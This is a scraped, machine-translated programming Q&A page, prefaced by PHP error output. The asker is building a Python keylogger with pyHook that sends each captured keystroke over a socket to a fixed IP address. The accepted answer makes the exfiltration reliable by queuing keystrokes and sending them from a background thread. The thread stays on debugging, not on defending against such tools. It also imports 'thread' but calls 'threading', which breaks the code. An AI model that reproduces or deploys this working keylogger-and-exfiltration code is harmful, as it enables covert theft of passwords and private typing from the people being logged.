Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/sockets/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 向键盘记录器添加套接字_Python_Sockets_Keylogger - Fatal编程技术网

Python 向键盘记录器添加套接字

Python 向键盘记录器添加套接字,python,sockets,keylogger,Python,Sockets,Keylogger,为了好玩,我正在制作一个键盘记录器。我想要的是,键盘记录程序将像聊天客户端一样,将每个按键发送给另一方。然而,当我尝试这样做时,它只发送我按下的第一个键,而不发送跟随它的其他键 import socket import pythoncom import pyHook HOST = "192.168.2.103" PORT = 5000 s = socket.socket() s.connect((HOST, PORT )) def OnKeyboardEvent(event):

为了好玩,我正在制作一个键盘记录器。我想要的是,键盘记录程序将像聊天客户端一样,将每个按键发送给另一方。然而,当我尝试这样做时,它只发送我按下的第一个键,而不发送跟随它的其他键

import socket
import pythoncom
import pyHook




HOST = "192.168.2.103"
PORT = 5000

s = socket.socket()
s.connect((HOST, PORT ))


def OnKeyboardEvent(event):
  global s
  keylog = chr(event.Ascii)
  s.send(keylog.encode("utf-8"))
  return True



h_m = pyHook.HookManager()
h_m.KeyDown =OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()
如中所述:

如果回调函数没有及时返回,事件会自动沿着钩子回调链转发,如果没有其他回调阻止它,则会转发到目标窗口。因此,应该在回调中进行尽可能少的处理。相反,回调应该将事件添加到队列中,供应用程序稍后处理,并快速决定是否阻止消息

调用
socket.send
可以阻止。它可以很容易地阻塞足够长的时间,以便PyHook中止您的钩子,或者只是在将来调用时禁用它。要解决这个问题,严格按照医生说的去做。例如(未经测试,但至少应该是一个足以让您开始学习的示例):


首先,您确定它只发送了第一个,还是您只在服务器端执行了一个
recv
?不,我在服务器端的while循环中放置了.recv。我想我理解了我的错误。我将socket.accept()也放在while循环中。这就是为什么,它卡在第一个按键上。无论如何谢谢你:)
import queue
import socket
import thread

import pythoncom
import pyHook

q = queue.Queue()

HOST = "192.168.2.103"
PORT = 5000

def background():
    s = socket.socket()
    s.connect((HOST, PORT))
    while True:
        msg = q.get()
        s.send(msg)
sockthread = threading.Thread(target=background)
sockthread.start()

def OnKeyboardEvent(event):
    keylog = chr(event.Ascii)
    q.put(keylog.encode("utf-8"))

h_m = pyHook.HookManager()
h_m.KeyDown = OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()